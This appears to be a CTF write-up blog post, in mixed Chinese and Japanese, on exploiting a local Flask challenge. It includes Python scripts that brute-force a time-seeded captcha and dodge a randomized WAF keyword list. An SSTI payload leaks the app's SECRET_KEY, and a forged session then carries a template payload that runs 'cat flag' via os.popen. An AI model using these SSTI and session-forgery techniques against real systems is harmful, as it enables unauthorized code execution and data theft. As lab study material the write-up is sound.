接下来生成一次 generate_code (), 并且访问 vip, 此时步调一致了,倘若种子一样,这样的请求不到 1 秒能完成,不会改变时间戳,那么本地生成的 code 和题目一样,就能够拿到 vip 了
今は👴の勝利だ
これが👴の最後のエクスポート!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| import random
import requests from utils.captcha import Captcha,generate_code import time url1 ="http://127.0.0.1:15000/" url2 = "http://127.0.0.1:5001/" while 1: headers={"User-Agent":"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)",
"Connection":"close" , "Accept-Encoding":"gzip, deflate", "Accept-Language":"en", "Accept":"*/*" }
gen = Captcha(200, 80, int(time.time()) + random.randint(1, 100)) gen.generate() captcha = generate_code() requests.get(url1 + "captcha", headers=headers)
json = {"captcha": captcha}
session = requests.session() headers2 = {"Accept": "*/*", "User-Agent": "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)", "Connection": "close", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en", "Content-Type": "application/json"} cookies = {"session": "eyJjYXB0Y2hhIjoidHBUViJ9.ZUDlMw.Iwx2YVR3CqHYbpqySJWOEJX1hac"} res = session.post(url1 + "vip", json=json, headers=headers, cookies=cookies) try: print(res.headers['Set-Cookie']) break except: continue
|
因为爆破,凹概率,循环跑就行
哈哈哈!👴は一番の天才だ
有 waf, 面白い!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| rule = [ ['\\x','[',']','.','getitem','print','request','args','cookies','values','getattribute','config'], ['(',']','getitem','_','%','print','config','args','values','|','\'','\"','dict',',','join','.','set'], ['\'','\"','dict',',','config','join','\\x',')','[',']','attr','__','list','globals','.'], ['[',')','getitem','request','.','|','config','popen','dict','doc','\\x','_','\{\{','mro'], ['\\x','(',')','config','args','cookies','values','[',']','\{\{','.','request','|','attr'], ['print', 'class', 'import', 'eval', '__', 'request','args','cookies','values','|','\\x','getitem'] ] def minic_waf(input): waf_seq = random.sample(range(21),3) for index in range(len(waf_seq)): waf_seq[index] = transfrom(waf_seq[index]) if not singel_waf(input, rule[waf_seq[index]]): return False return True
|
规则比较独特,六个规则随机生成三个,其实只需满足一条就行,同样是凹概率.
这种 ssti 随便打,拿个密钥先.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| import requests
url1 ="http://127.0.0.1:15000/"
data = { "story" : "{{config}}" } cookies = {"session":"eyJ2aXAiOnRydWV9.ZUHlMg.eUH9ICmOx6JUujFsb8MxYu4QkOE"} session = requests.session() while 1: res = requests.post(url=url1+"write",json=data,cookies=cookies) if "success" in res.text: cookie = res.headers['Set-Cookie'].split("=")[1].split(";")[0] print(cookie) res2 = requests.get(url=url1+"story",cookies = {"session":cookie}) print(res2.text) break
|
这种爆破对👴来说还是太简单了,随随便便写个脚本冲了
拿到密钥能干很多事了,
1 2 3 4 5 6
| app.config['SECRET_KEY'] = '6e409b39-94e4-4557-9549-961bafdebf98'
@app.route('/story', methods=['GET']) def session_get(): session['story'] = "{{url_for.__globals__.__builtins__['__import__']('os').popen('cat flag').read()}}" return session['story']
|
👴不想跑 flasksession 脚本,太懒了,费劲,😡,👴就直接在路由里面设置了.
eeeeeeeeez!
其它简单的题,👴不想动了.
终于🐛完了,好📕👚啊
これが君の知らない物語